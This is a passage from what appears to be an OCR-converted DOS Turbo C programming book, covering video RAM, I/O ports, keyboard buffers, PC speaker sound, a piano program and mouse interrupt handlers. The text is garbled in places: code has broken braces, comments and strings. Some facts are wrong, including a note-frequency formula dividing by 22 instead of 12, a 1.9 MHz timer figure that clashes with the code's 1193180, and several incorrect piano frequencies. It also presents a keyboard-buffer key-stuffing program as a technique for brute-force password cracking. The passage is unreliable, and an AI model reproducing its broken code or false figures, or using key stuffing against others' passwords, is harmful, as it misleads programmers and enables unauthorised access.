Not all the memory is used for display purpose because, we have so many video modes that support different resolutions. The video modes are usually set by the programs that are stored in video ROM BIOS area. Note that it is ROM, which means you cannot write into it! Whereas in video RAM, you can write! But you should know in which display mode, which memory area is used. You can use far pointers to write into video RAM. Since VGA and SVGA adapters are used almost everywhere, here I have given the memory map for VGA and SVGA. Other adapters' memory map will be slightly different. If you use other adapters, refer its documentation.

\subsection*{20.2 Programming the video RAM}

VGA supports each of the mode supported by its predecessors. VGA is backward compatible. So it is enough to know about programming VGA RAM.

\subsection*{20.2.1 Color Text Mode}

This mode uses the video RAMs addressed at


B8000 to BFFFFh. In normal color text mode \(3 \mathrm{~h}(80 \times 25 \times 16\) mode \()\), the address space is divided into 4 video pages of 4 KB each (page 0 , page 1 , page \(2 \&\) page 3). At the same time we can see the characters in any one of the pages. The screen's resolution is \(80 \times 25\) (i.e. 80 columns x 25 rows). It supports 16 colors at a time. To display a single character, two

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bytes are being used namely character byte and attribute byte. The character byte contains the ASCII value of the character. The attribute byte is organized as:
\begin{tabular}{|l|l|l|l|l|}
\hline \multicolumn{5}{|c|}{ Bitfields for character's display attribute } \\
\hline 7 & 654 & 3 & 210 & \multicolumn{1}{c|}{ Purpose } \\
\hline X & & & & \begin{tabular}{l} 
Foreground Blink or (alternate) Background \\
bright
\end{tabular} \\
\hline & XXX & & & Background color \\
\hline & & X & & \begin{tabular}{l} 
Foreground Bright or (alternate) Alternate \\
character set
\end{tabular} \\
\hline & & & XXX & Foreground color \\
\hline
\end{tabular}

The following program fills the screen with ' C ' with given attributes.
```

\#include <dos.h>
\#define _4KB (4096) /* size of vdu page */
int main( void )
{
int i;
const int attribute = 0x20;
char far *Vid_RAM;
FP_SEG( Vid_RAM ) = 0xb800;
FP_OFF( Vid_RAM ) = 0x0000;
for ( i=0; i<_4KB ; i +=2 )
{
*(Vid_RAM + i) = 'C';
*(Vid_RAM + i + 1) = attribute;
}
return(0);
} /*--main( )-----------*/

```

We can also declare the Vid_RAM pointer as
```

char far *Vid_RAM = (char far*) 0xb8000000;

```

But programmers prefer the declaration, that we used in the above program, because it provides good readability and helps us to clearly identify segment address and offset address.

\subsection*{20.2.1.1 Codes}
```

\#include <dos.h>
\#define _4KB (4096) /* size of vdu page */
char far *Vid_RAM;

```
```

void WriteCh2VidRAM( int vdupage, int x, int y, char ch, int attribute )
{
FP_SEG( Vid_RAM ) = 0xb800;
FP_OFF( Vid_RAM ) = 0x0000;
* (Vid_RAM + _4KB * vdupage + 160 * y + 2 * x) = ch;
*(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x + 1) = attribute;
} /*--WriteCh2VidRAM( ) -----------*/
void WriteStr2VidRAM( int vdupage, int x, int y, char *str, int
attribute )
{
while(*str)
WriteCh2VidRAM( vdupage, x++, y, *str++, attribute );
/*--WriteStr2VidRAM( ) ------------*/

```

You can use the above functions for normal use. For better programming, you should add condition to check whether the character is on the last row of the screen. In such a case, you have to scroll the screen upward by 1 row.

\subsection*{20.2.1.2 cprintf()}

We have written our functions to directly write into video RAM. But Turbo C also has got inbuilt functions like cprintf() \& cputs() (defined in conio.h) to directly write into video RAM. The global variable directvideo determine whether the console output (by cprintf, cputs... functions) go directly to video RAM (directvideo \(=1\);) or go via ROM BIOS calls (directvideo \(=0 ;\) ). The default value is directvideo \(=0\). To use directvideo \(=1\), the system's video hardware must be be identical to IBM's display adapter.

The functions of interest in this context are window(), clrscr(), textcolor(), textbankground(), textattr(), gettextinfo(), highvideo(), normalvideo().

Following is the example program:
```

\#include <conio.h>
int main( void )
{
clrscr( );
window( 10,10,40,15 );
textcolor( WHITE );
textbackground( RED );
normvideo( );
cprintf( "Normal Intensity Text\r\n" );
textcolor( BLUE );
textbackground( WHITE );
lowvideo( );

```

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```

    cprintf( "Low Intensity Text\r\n" );
    textcolor( WHITE );
    textbackground( GREEN );
    highvideo( );
    cprintf( "High Intensity Text\r\n" );
    return(0);
    } /*--main( )----------* /

```

\subsection*{20.2.2 Monochrome Text Mode}

Monochrome text mode is similar to color text mode. But this mode uses B 0000 h as a segment address, it displays the character as normal or even reverse video and or underlined for the given attribute colors.

\subsection*{20.2.3 Graphics mode}

The segment address of graphics mode is A0000h. mode \(13 \mathrm{~h}(320 \times 200 \times 256)\) and mode \(14 \mathrm{~h}(640 \times 480 \times 16)\) are the modes that are very often used.

\section*{Exercises}
1. Write a program that finds number of video pages supported by your Video RAM for each mode.
2. Find out the reason, why graphics mode occupies more video memory. (Why graphics mode is slower than text mode?)

\section*{2 1 "Money that comes easily disappears quickly." \\ Programming Ports}

Ports can be thought of as hardware connection ports where devices with input/output lines connect to a bus. The CPU has ports for each of its bus: at least ISA (Industry Standard Architecture) and memory, for the simplest CPU. So using the port addresses we can access hardware devices. For example CMOS is accessed via port 70h and 71h. The port can be Read \& Write (R/W), or Read only, or Write only.

\subsection*{21.1 Why use ports?}

Direct port access is much faster in many situations than interrupt code. I already pointed out that interrupts are the kind of subroutines and these subroutines also use ports to access hardware devices whenever it is necessary. So invoking interrupts some times mean indirect port access.

One of the important advantages of using port address is that it's the only possible way of accessing the plug-in cards and some built-in hardware.

\subsection*{21.2 Port vs. memory}

Usually people get confused between port and memory. Actually I/O ports are addressable devices which are not in memory space. From hardware perspective, memory is usually accessed by decoding addresses and Memory-Read \& Memory-Write symbols, while I/O ports are decoded using addresses and I/O-Read \& I/O-Write symbols.

\subsection*{21.3 Usual Problems}

One of the usual problems we find with I/O ports is that every plugged-in device can attempt to claim the same I/O address.

\subsection*{21.4 Programming ports with Turbo C}

For programming ports we can use inportb( ), inport( ), outportb( ) and outport ( ) functions. In this book, you have many programs that use ports.

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\subsection*{21.5 Example}

Here I am giving an example program to find the scan code of a key using port 60 h .
```

\#define ESC (1)
int main( void )
{
int key;
while( (key=inportb( 0x60 ))!=ESC )
{
printf( "%x ", key );
/* To see the values on monitor, add appropriate delay
to reduce flickering (for faster machines only) */
delay(15);
}
return(0);
}

```

\section*{Exercises}
1. Find out the ports used by different peripherals. (Hint: Look into Ralf Brown's Interrupt List)
2. Find out the port used by your mouse. Use the details to write a mouse driver program.

\section*{2 2}

\section*{Programming the keys}

\subsection*{22.1 Secrets}

\subsection*{22.1.1 Keyboard controller}

Normally nobody uses PC/XT (8bit) systems, we use AT (16/32/64bit) systems. So I think it is enough to explain the secrets of keyboard in AT systems.

In a typical AT system, the microcontroller(8048,6805 type) in the keyboard sends data to the keyboard-controller (8042 type) on the motherboard. Controller found on the motherboard can also send data back to the keyboard.

In detail, a keyboard consists of set of switches mounted in a grid (key matrix). When you press a key on the keyboard the micro controller in keyboard reads the key switch location in the key matrix, then it sends data to keyboard-controller on the motherboard. When the keyboardcontroller on the motherboard receives data, it signals the motherboard with an IRQ1 and sends data to the main motherboard processor via I/O port address 60 h . The function of the keyboardcontroller on the motherboard is to translate scan codes and perform other functions. We can use \(\mathrm{I} / \mathrm{O}\) port \(64 \mathrm{~h}(\mathrm{R} / \mathrm{W})\) to check the status of the keyboard-controller on the motherboard.

\section*{Note}

Some people call the keyboard-controller on the motherboard as keyboard BIOS

\section*{Note}

Scan code is different from ASCII code. The upper and lower case is determined by the state of shift keys, not solely by which key is pressed

\subsection*{22.1.2 Keyboard Buffer}

A part of the PC's BIOS data area i.e., memory at segment 0040h is used as keyboard buffer. This area also holds pointers to keyboard buffer and key status.

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\section*{Keyboard Buffer}


The keyboard buffer is organized as a circular queue. It has four 2-byte wide pointers: kbufbegin, kbufend, kbufhead and kbuftail. Here you should note one important thing: these pointers are just 2-byte wide (not 4-byte wide), which means these pointers hold only the OFFSET address (all are at segment 0040h). kbufbegin and kbufend points to the beginning and end of the keyboard buffer and these pointers do not move. Whereas the kbufhead and kbuftail points to the character on the keyboard buffer and so these pointers do move.

Keyboard buffer is a character (i.e., 1 byte wide) array. The size of the keyboard buffer may vary from system to system. Some people say that the size of the keyboard buffer is 32 bytes, which is wrong, because the size of the keyboard buffer can be changed. Keyboard buffer holds ASCII code and scan code on alternate bytes.

Whenever a key is been inputted through keyboard, it is being temporarily stored in keyboard buffer, before it is processed by the BIOS. When we try to input more keystrokes, we will get a beep sound indicating that the keyboard buffer is full. The pointer kbuftail points to the recently inputted key and the pointer kbufhead points to the key that is being currently processed. So when the keyboard buffer is empty, the pointer kbufhead and kbuftail holds the same address (i.e., points to the same data).

\subsection*{22.1.3 Keyboard status}

The status of the keyboard i.e., whether CAPS LOCK is ON or OFF can be set with our program. For that we have two ways.

\subsection*{22.1.3.1 Changing keyboard status with BIOS handler}
```

\#include <dos.h>
\#define ON (1)
\#define OFF (0)
\#define SCROLLLOCK (1 << 4)
\#define NUMLOCK (1 << 5)
\#define CAPSLOCK (1 << 6)
void SetKbdStatus( int lockname, int status )
{
char far* kbdstatus = (char far*)0x00400017UL;
disable( );
if ( status==ON )
*kbdstatus |= (char) lockname;
else
*kbdstatus \&= ~(char)lockname;
enable( );
} /*--SetKbdStatus( ) --------*/
int GetShiftFlags( void )
{
asm{
MOV AH, 2h;
INT 16h;
}
return( __AL );
} /*--GetShiftFlags( ) ------*/
int main( void )
{
SetKbdStatus( CAPSLOCK, ON );
SetKbdStatus( NUMLOCK, ON );
GetShiftFlags( ); /* Ignore the return value */
return(0);
} /*--main( ) --------*/

```

The function SetKbdStatus ( ) is used to change the status of the keyboard. The status lights, on recent keyboards may not reflect the change. In that case you may call INT 16, \(\mathrm{AH}=2\) (GetShiftFlags ( ) ) to update the lights.

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\subsection*{22.1.3.2 Changing keyboard status with ports}

Port 64 h (status port) is used for getting the status of keyboard controller.
Port 60h(keyboard controller data port) can be used as keyboard input buffer or keyboard output buffer. If bit1 of status port is 0 , data should only be written. That is because, if bit1 of status port is 1 , input buffer is full and no write access is allowed until the bit clears. If bit0 of status port is 1 , data should only be read. This is because, if bit0 of status port is 1 the output buffer will be full (i.e., port 60 h has data for system) and the bit (bit0) will be cleared after a read access.

To change the status of keyboard, we must send two consecutive byte values as commands to the data port. The first byte value must be EDh. The second byte contains the state to set LEDs.
\begin{tabular}{|l|l|l|l|l|}
\hline \multicolumn{4}{|c|}{ Bitfields for LED status } \\
\hline 7653 & \(:\) & \(:\) & \multicolumn{1}{c|}{ Purpose } \\
\hline & & reserved. should be set to 0 \\
\hline & \(X\) & & & Caps Lock LED on \\
\hline & & \(X\) & & Num Lock LED on \\
\hline & & & \(X\) & Scroll Lock LED on \\
\hline
\end{tabular}
```

\#define KEYSTATUS (0x64)
\#define KEYDATA (0x60)
\#define LEDUPDATE (0xED)
\#define OB_FULL (1 << 0) /* output buffer full */
\#define IB_FULL (1 << 1) /* input buffer full */
\#define KEY_ACK
(0xFA)

```
/* bit masks to be sent */
\#define SCROLLLOCK (1 << 0)
\#define NUMLOCK (1 << 1)
\#define CAPSLOCK (1 << 2)
/*--------------------------------------------1
    'cmd' and returns 1 for success */
```

int SendKeyControl( int cmd )
{
int byte;
do
{
byte = inportb( KEYSTATUS );
} while ( byte \& IB_FULL );

```
```

    outportb( KEYDATA, cmd );
    do
        {
            byte = inportb( KEYSTATUS );
    } while ( byte & OB_FULL );
    byte = inportb( KEYDATA );
    /* if byte is KEY_ACK, then success */
    return( ( byte == KEY_ACK ) );
    /*--SendKeyControl( )------------*/
int main( void )
{
if ( SendKeyControl( LEDUPDATE ) ) /* tell keyboard next
byte is LED bitmask */
SendKeyControl( CAPSLOCK ); /* the LED bitmask */
return(0);
} /*--main( ) -----*/

```

\subsection*{22.1.4 Keyboard Interrupt}

To get scan code of ASCII character of the key pressed, we can use the INT 16, AH=10h (Get Enhanced Keystroke). This function returns BIOS scan code in AH and ASCII character in AL register. If no keystroke is available, this function waits until one is placed in the keyboard buffer. The BIOS scan code is usually, but not always, the same as the hardware scan code processed by INT 09 or the one we get from Port 60h. It is the same for ASCII keystrokes and most unshifted special keys (F-keys, arrow keys, etc.), but differs for shifted special keys.

\subsection*{22.2 Activating the keys without pressing it!}

We can 'press' the keys through programs. This technique is referred as "stuff keys" by programmers. We can stuff keys with BIOS interrupt 16h or with keyboard buffer. Usually stuff keys technique is used for cracking passwords and it is explained in "Illegal Codes" section..

\subsection*{22.2.1 Stuff keys using BIOS interrupt}

BIOS interrupt 16 h function 5 h can be used to stuff keys. Usually all BIOS support this interrupt.

\subsection*{22.2.2 Stuff keys using keyboard buffer}

We can also stuff keys using keyboard buffer. This is widely used for cracking passwords with brute force technique. The code below was actually by Alexander Russell. I have restructured it for the sake of clarity.

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```

/*
Stuffkey.c
stuff chars into the BIOS keyboard buffer then exit
*_---
*/
\#include <string.h>
\#include <dos.h>
/*-------------------------------------------------------------
Stuff - stuffs ch into BIOS keyboard buffer */
void Stuff( char ch )
{
unsigned far *kbufbegin;
unsigned far *kbufend;
unsigned far *kbuftail;
unsigned far *kbuffer;
/* set up buffer pointers */
FP_SEG( kbufbegin ) = FP_SEG( kbufend ) = FP_SEG( kbuftail )
= FP_SEG( kbuffer ) = 0x40;
FP_OFF( kbufbegin ) = 0x80;
FP_OFF( kbufend ) = 0x82;
FP_OFF( kbuftail ) = 0x1c;
disable( );
FP_OFF( kbuffer ) = *kbuftail;
*kbuffer++ = ch;
if ( FP_OFF( kbuffer ) >= *kbufend )
FP_OFF( kbuffer ) = *kbufbegin;
*kbuftail = FP_OFF( kbuffer );
enable( );
} /*--Stuff( )----------------*/
int main( int argc, char *argv[] )
{
short i, j;

```
```

    char ch;
    char temp[200];
    if ( argc > 1 )
        for ( i=1; i < argc; ++i )
                        strcpy( temp, argv[i] );
                switch ( temp[0] )
                {
                    case '0':
                            ch = atoi( temp );
                            Stuff( ch );
                            break;
                            default:
                            for ( j=0; temp[j] != '"' && temp[j]; ++j )
                                    Stuff( temp[j] );
            }
        }
    else
        {
            printf( "Use: STUFFKEY 027 013 a b \"hi there\"<ENTER>\n");
            printf( "Parms that start with zero are ascii codes\n" );
            printf("Generaly only useful called from inside a batch file\n");
        }
    return(0);
    } /*--main( ) ----------*/

```

According to theory, keyboard buffer stores both ASCII and scan codes in alternate bytes. But the above code stuffs only ASCII code. So the success of the above code depends upon the reading program written in BIOS. For me the above code works fine. If it doesn't work for you, try to stuff scan code too and it should work.

\subsection*{22.3 Multiple key Input}

The following program explains how to get multiple key input. This has many applications. One of them is Piano programming where we would press more than one key. In order to test this program, don't forget to press more than one key!
```

\#define PRESSED (1)
\#define RELEASED (0)
\#define ESC (1)
typedef int BOOLEAN;
char *Keys_Tbl[88] = {
/* 1..8 */ "Escape", "1", "2", "3", "4", "5", "6", "7",
/* 9..15 */ "8", "9", "0", "-", "=", "Backspace", "Tab",
/* 16..25 */ "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",

```

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```

/* 26..29 */ "[", "]", "Enter/KeypadEnter", "Left/RightCtrl",
/* 30..39 */ "a", "s", "d", "f", "g", "h", "j", "k", "l", ";",
/* 40..42 */ "'", "`", "LeftShift/PrintScreen",
/* 43..45 */ "<br>(101-keyOnly)/\#(102-keyOnly)", "z", "x",
/* 46..53 */ "c", "v", "b", "n", "m", ",", ".", "/",
/* 54..55 */ "RightShift", "Keypad*/PrintScreen",
/* 56..59 */ "Left/RightAlt", "Spacebar", "Caps Lock", "F1",
/* 60..67 */ "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9",
/* 68..70 */ "F10", "NumLock/Pause", "ScrollLock",
/* 71..72 */ "Home/Keypad7", "UpArrow/Keypad8",
/* 73..74 */ "PageUp/Keypad9", "Keypad-",
/* 75..76 */ "LeftArrow/Keypad4", "Keypad5",
/* 77..78 */ "RightArrow/Keypad6", "Keypad+",
/* 79..80 */ "End/Keypad1", "DownArrow/Keypad2",
/* 81..82 */ "PageDown/Keypad3", "Insert/Keypad0",
/* 83..85 */ "Delete/Keypad.", "undefined", "undefined",
/* 86..88 */ "\(102-keyOnly)", "F11", "F12"
};
BOOLEAN Key_Stat[88];
int main( void )
{
int i, key;
while( (key=inportb(0x60)) !=ESC )
{
/* Store the status of keys... */
if ( key<128 )
Key_Stat[key-1] = PRESSED;
else
Key_Stat[key-1-128] = RELEASED;
/* Now, show the status... */
for ( i=0; i<88 ; ++i )
if ( Key_Stat[i]==PRESSED )
printf( "%s ", Keys_Tbl[i] );
printf( "\n" );
}
return(0);
} /*--main( ) ----------* /

```

\section*{Exercises}
1. Write getch ( ) and kbhit( ) functions without using any interrupt. (Hint: use keyboard buffer)
2. Write a program that temporarily lock or freeze the system. (i.e. to lock keys)
3. Write a program to find out the size of the keyboard buffer.
4. Write a function ASCII2Scan ( ) that returns scan code for the given ASCII value using system resources i.e., don't pre-calculate the values. (It's really a tough job! Hint: you have to crack the driver file)
5. Write a "running lights" program using CAPSLOCK, NUMLOCK \& SCROLLLOCK LEDs.

\section*{Suggested Projects}
1. Write software to increase or decrease the size of the keyboard buffer.
2. Use stuff key techniques and interfacing techniques to input keys from other devices.

\section*{"Let your gentleness be evident to all." \\ 23 \\ \\ Sound Programming \\ \\ Sound Programming with PC Speaker} with PC Speaker}

Sound programming can be classified as with PC speaker and with sound blaster card. In this chapter, let's see sound programming with PC speaker.

\subsection*{23.1 Introduction}

Almost all systems have PC speaker. People who like to have digitized sound go for MIDI card or sound blaster card. But for normal operations, it is enough to have PC speaker.

\subsection*{23.2 Programming PIT}

For sound programming with PC speakers, we must be aware of PIT (Programmable Interval Timer) that is present on our microcomputer system. PIT or 8253 chip is an LSI peripheral designed to permit easy implementation of timer. People from Electronics background may be aware that Timer is the one which produces clock signals. And so PIT can be setup to work as a one shot pulse generator, square wave generator or as rate generator. We can set the PIT to supply the required frequency by supplying values ' N ' to the port 43 h .
\[
\text { Formula to calculate } \mathrm{N}=\frac{1.9 \mathrm{MHz}}{\mathrm{f}}
\]
where f is the required frequency
The sequence of operations be:
i. Initialize PIT to accept divisor by OUTing B6h at 43h.
ii. OUT LSB of ' \(N\) ' at \(42 h\)
iii. OUT MSB of ' \(N\) ' at 42 h

Now the PIT will produce clock signals with the frequency ' f '.

\subsection*{23.3 Producing Sound}

If we connect a timer with PC speaker, it will produce sound. We can connect PIT with PC speakers to get the required sound. The output port of speaker is 61 h . bit0 of port 61 h is used to enable timer to supply clock signal to speaker i.e. connects PIT with speaker.

Now let's write our own sound ( ) and nosound ( ) function to produce sound.
```

\#define ON(1)
\#define OFF (0)
/*-----------------------------------------------------
void ChangeSpeaker( int status )
{
int portval;
portval = inportb( 0x61 );
if ( status==ON )
portval |= 0x03;
else
portval \&=~ 0x03;
outportb( 0x61, portval );
} /*--ChangeSpeaker( ) ----------*/
void Sound( int hertz )
{
unsigned divisor = 1193180L / hertz;
ChangeSpeaker( ON );
outportb( 0x43, 0xB6 );
outportb( 0x42, divisor \& 0xFF ) ;
outportb( 0x42, divisor >> 8 ) ;
} /*--Sound( )-----*/
void NoSound( void )
{
ChangeSpeaker( OFF );
} /*--NoSound( )------*/
int main( void )
{
Sound( 355 );
delay( 1000 );
Sound( 733 );
delay( 1000 );
NoSound( );
return(0);
} /*--main( ) -------* /

```

TC also has sound ( ) and nosound ( ) functions. If you don't want to write your own code, you can use those built-in functions.

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\subsection*{23.4 Notes \& Frequencies}

You may want to know the frequencies of each note to produce the right sound. In general, an octave is a doubling in frequency. There are twelve distinct tones in an octave. The frequencies of higher octaves are just a multiple of frequencies for lower octaves. The note ' A ' below "middle C" is exactly 440 Hz . Other notes may be calculated from this by using a simple formula:
```

Frequency $=440 * 2^{\text {(Offset } / 22)}$

```
where Offset is the "distance" between note ' A ' and the note in semitones.
Using the above formula, any part of the frequency table can be calculated. The following program demonstrates this.
```

\#include <math.h>
char *Note_Names[] =
"A",
"B Flat",
"B",
"C",
"C Sharp",
"D",
"E Flat",
"E",
"F",
"F Sharp",
"G",
"G Sharp"
};
int main( void )
{
double frequency;
int offset;
for( offset=0; offset<13; ++offset )
{
frequency = 440.0 * pow( 2.0, offset / 12.0 );
printf( "The Frequency of %s is %f Hz\n",
Note_Names[offset%12], frequency );
}
return(0);
} /*--main( )--------*/

```

\subsection*{23.5 Piano Keys and Frequencies}

The following diagram shows the frequencies for a typical Piano.



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\subsection*{23.6 Piano Program}

The following is the code for a Piano program. The main idea here is you have to use port 60h to get a key, you should not use getch ( ). Since we are using port 60h, the keyboard buffer won't get cleared automatically. So we should clear the keyboard buffer very often to avoid unnecessary beep sound that signals the keyboard buffer's full status.

This program will provide you the opportunity to try 8 octaves. As the frequencies of higher octaves are just a multiple of frequencies of lower octaves, I could have used a single dimensional array notes [12]. But I have used a two dimensional array notes [7] [12] to avoid calculations and to increase the speed.
```

\#define ESC
(129)
\#include <stdio.h>
\#include <conio.h>
\#include <dos.h>
int main( void )
{
void ClrKeyBrdBuffer( );
float notes[7][12] =
{
{130.81, 138.59, 146.83, 155.56, 164.81, 174.61, 185.0,
196.0, 207.65, 220.0, 227.31, 246.96 },
{261.63, 277.18, 293.66, 311.13, 329.63, 349.23, 369.63,
392.0, 415.3, 440.0, 454.62, 493.92 },
{523.25, 554.37, 587.33, 622.25, 659.26, 698.46, 739.99,
783.99, 830.61, 880.0, 909.24, 987.84 },
{1046.5, 1108.73, 1174.66, 1244.51, 1328.51, 1396.91, 1479.98,
1567.98, 1661.22, 1760.0, 1818.48, 1975.68 },
{2093.0, 2217.46, 2349.32, 2489.02, 2637.02, 2793.83, 2959.96,
3135.96, 3322.44, 3520.0, 3636.96, 3951.36 },
{4186.0, 4434.92, 4698.64, 4978.04, 5274.04, 5587.86, 5919.92,
6271.92, 6644.88, 7040.0, 7273.92, 7902.72 },
{ 8372.0, 8869.89, 9397.28,9956.08,10548.08,11175.32, 11839.84,
12543.84, 13289.76, 14080.0, 14547.84, 15805.44 }
};
int n, i, p, q, octave = 2,
note[ ] = { 1, 3, 99, 6, 8, 10, 99, 13, 15, 99, 18, 0, 2, 4, 5, 7,
9, 11, 12, 14, 16, 17 };
/* keys[]="awsedftgyhujkolp;']" <- for note[] */
clrscr( );
printf( "Piano for A to Z of C \n\n"
"Note-> C Df D Ef E F Fs G Af A Bf B C Df D Ef E F Fs \n"
"Keys-> a w s e d f t g y h u j k o l p ; ' ] \n\n"
"Octave-> 1

```
```

        "Quit-> ESC \n" );
    while( (n=inportb(0x60)) != ESC )
        {
            ClrKeyBrdBuffer( );
        p = 2; /*dummy*/
        if ( n>=2&&n<=8 )
            octave = n-2;
        else
            switch( n )
            {
                    case 79:
                    case 80:
                    case 81: octave = n-79;
                        break;
                    case 75:
                    case 76:
                    case 77: octave = n-72;
                                    break;
                            case 71: octave = 6;
                            }
        if (n>=17&&n<=27 )
                        p = n-17;
            else if ( n>= 30&&n<=40 )
                    p = n-19;
        p = note[p];
        if ( p>=0&&p<=21 )
            sound( (int)notes[octave][p] );
        if (n>136 )
            nosound( );
        }
    printf( "Quiting..." );
    getch( );
    return(0);
    /*--main( ) ----------*/
void ClrKeyBrdBuffer(void)
{
outportb( 0x20, 0x20 ); /* reset PIC */
while( bioskey(1) ) /* read all chars until it empty */
bioskey( 0 );
} /*--ClrKeyBrd( )------*/

```

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\section*{Exercise}
1. Using program find out the frequency and delay used for ordinary beep sound that is produced by printf("\a");. Do not use any gadgets or Trial and Error Techniques.

\section*{Suggested Projects}
1. Write software that plays MIDI files through PC speaker.

\section*{24 \\ Sound Programming with sound card}

To have digitized sound, people install sound cards. Sound cards are necessary for music software. Yet, sound cards don't have any standard. Each manufacturing company produces sound cards with its own standard. So programming for sound card won't be unique. And we must know the standards used by each and every manufacturer. If I start explaining all the sound cards, it will really be boring. So I left the reader to program for his own sound card as an exercise. Few example codes are available in CD . Hope that might be useful to you.

\subsection*{24.1 Idea}

Normally, sound cards are accompanied with manuals. In that manual, you can find the standards used by that particular sound card. The basic idea is that you have to load frequency value to the register of the sound card. These registers are normally accessed via I/O ports. I/O ports' details are available on Ralf Brown's Interrupt List.

\section*{Suggested Projects}
1. Write software that plays WAV, MIDI files through sound card.
2. I have already explained multiple keys input concept. Yet I haven't come across a Piano software that can work with multiple keys and sound card. If you can write such a software, it will be the world's first one! (Hint: Use Ctrl or Alt key for "sustain")


\section*{Mouse Programming}

As everyone knows, mouse is one of the inputting devices. In this chapter, I explain interrupts for mouse programming and a few concepts regarding mouse programming. In the graphics programming, we can see more examples. To work with mouse, we must have mouse driver file mouse.com.

\subsection*{25.1 Mouse Interrupts}
int 33 h is the mouse interrupt. It has so many functions. Certain functions will be available only to certain drivers. A complete interrupt specification is available on Ralf Brown's Interrupt List.

\subsection*{25.2 Useful Mouse functions}

\subsection*{25.2.1 Mouselib.h}
```

\#ifndef ___MOUSELIB_H
\#define LFTCLICK (1)
int InitMouse( void );
void ShowMousePtr( void );
void MoveMousePtr( int x, int y );
void RestrictMousePtr( int x1, int y1, int x2, int y2 );
void HideMousePtr( void );
void GetMousePos( int *mbutton, int *x, int *y );
\#endif

```

\subsection*{25.2.2 Mouselib.c}
```

\#include "mouselib.h"
\#pragma inline
/*--------------------------------------------------
InitMouse - Initializes Mouse.
Returns 0 for success. */

```
```

int InitMouse( void )
{
asm {
MOV AX, 0;
INT 33h;
}
return;
} /*--InitMouse( ) ---*/
/*---------------------------------------------------
ShowMousePtr - Shows Mouse Pointer. */
void ShowMousePtr( void )
{
asm {
MOV AX, 1h;
INT 33h;
}
} /*--ShowMousePtr( ) ----* /
HideMousePtr - Hide Mouse Pointer. */
void HideMousePtr( void )
{
asm {
MOV AX, 2h;
INT 33h;
}
} /*--HideMousePtr( )-----*/
/*-----------------------------------------------------
MoveMousePtr - Move Mouse Pointer
to (x, y).
*/
void MoveMousePtr( int x, int y )
{
asm {
MOV AX, 4h;
MOV CX, x;
MOV DX, y;
INT 33h;
}
} /*--MoveMousePtr( ) -----* /

```

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```

/*
RestrictMousePtr - Restrict Mouse Pointer
to the specified coordinates */
void RestrictMousePtr( int x1, int y1, int x2, int y2 )
{
asm {
MOV AX, 7h;
MOV CX, x1;
MOV DX, x2;
INT 33h;
MOV AX, 8h;
MOV CX, y1;
MOV DX, y2;
INT 33h;
}
} /*--RestrictMousePtr( ) --------*/
/*
GetMousePos - Gets Mouse position \&
mouse button value. */
void GetMousePos( int *mbutton, int *mx, int *my )
{
asm {
MOV AX, 3h;
INT 33h;
MOV AX, BX;
MOV BX, mbutton;
MOV WORD PTR [BX], AX;
MOV BX, mx;
MOV WORD PTR [BX], CX;
MOV BX, my;
MOV WORD PTR [BX], DX;
}
} /*--GetMousePos( ) ------*/

```

\subsection*{25.2.3 Mouselib.lib}

When you compile the above Mouselib.c file to a library file for Small memory model, you will get Mouselib.lib file. You can use the library - Mouselib.lib in your projects..

\subsection*{25.3 Mouse Function 0Ch}

Function 0Ch that is available with int 33 h is very much useful. And almost all game programmers and graphics programmers use it. The beauty of this function is that it allows us to install our own handler, so that whenever the int 33 h is generated, our own handler will be automatically called. In other words, instead of setvect ( ), we have to use function 0Ch for installing our own handler.

Installing our own mouse handler to get mouse input is referred as Event Mode. Game programmers prefer Event Mode and they use circular queue to store the events as inputs. The following codes by Alexander J. Russell illustrate the concept.

First of all, we have to initiate the normal int 33 h mouse driver to install a "stub" program that calls our real mouse handler. The "stub" is written in ASM.
```

;***************************************************************
; Assembly language hook for CMOUSE library event handler *
; * *
; Assemble with /Ml switch *
;* *
; ************************
; adjust for proper memory model
.MODEL SMALL,C
. CODE
PUBLIC mouse_event_func,mouse_int
mouse_event_func DD ?
mouse_int PROC FAR
PUSHF
CALL CS:[mouse_event_func]
RET
mouse_int ENDP
END
;-------------------------------------------------------

```

The above assembler function mouse_int() is called by the int33h driver. mouse_int() in turn calls whatever function mouse_event_func() points to. mouse_event_func () is a pointer to a function and it is not itself a function.

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Following is the C code to use the mouse.
```

\#define ESC 27
short mouse_x, mouse_y;
short mouse_present;
short mouse_hidden=0;
short button_stat=0;
unsigned short flags;
extern void far *far mouse_event_func;
void mouse_int( void );
typedef struct
{
unsigned int flags, x, y, button_flag;
} mouse_info_t;
\#define MAX_MOUSE_EVENTS 10
\#define MOUSE_MOVE 1
\#define MOUSE_L_DN 2
\#define MOUSE_L_UP 4
\#define MOUSE_R_DN 8
\#define MOUSE_R_UP 16
\#define EVENT_MASK 31 /* the logical OR of the 5 above vars */
mouse_info_t mouse_info[MAX_MOUSE_EVENTS]; /* Circular Queue */
int head=0;
int tail=0;
/*----------------------------------------------------
mouse_handler - the low level interrupt
handler calls this */
void far interrupt mouse_handler(void)
{
/* save info returned by mouse device driver */
asm {
mov flags, ax
mov mouse_x, cx
mov mouse_y, dx
mov button_stat, bx
}
// place the mouse information in a circular queue

```
```

            mouse_info[tail].x = mouse_x;
    mouse_info[tail].y = mouse_y;
    mouse_info[tail].button_flag = button_stat;
    mouse_info[tail].flags = flags;
        tail++;
        if ( tail == MAX_MOUSE_EVENTS )
            tail=0;
    if ( tail == head )
    {
        head++;
        if ( head == MAX_MOUSE_EVENTS )
            head=0;
    }
    } /*--interrupt mouse_handler( ) --------*/
/*-----------------------------------------------------
init_mouse - is there a mouse, install int
handlers */
short init_mouse( void )
{
unsigned short c_seg, c_off;
asm{
xor ax, ax
int 033h
/* note BX holds number of buttons, but we don't care */
mov mouse_present, ax
}
if ( mouse_present )
{
/* install our own handler */
mouse_event_func = mouse_handler; /* global func pointer */
/* install mouse_int as mouse handler, which will call
mouse_handler */
c_seg = FP_SEG(mouse_int);
c_off = FP_OFF(mouse_int);
asm{
mov ax, c_seg
mov es, ax
mov dx, c_off
mov ax, Och

```

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```

            mov cx, EVENT_MASK
                int 033h
            }
            /* set mouse x, y limits */
            asm{
            mov ax, 7
            mov cx, 0
            mov dx, 359
            int 033h
            mov ax, 8
            mov cx, 0
            mov dx, 239
            int 033h
                /* set initial mouse_x, mouse_y */
                mov ax, 3
                int 033h
                    mov mouse_x, cx
                mov mouse_y, dx
            }
            }
    return(mouse_present);
    } /*--init_mouse( )---------* /
deinit_mouse - deinstall our mouse handler
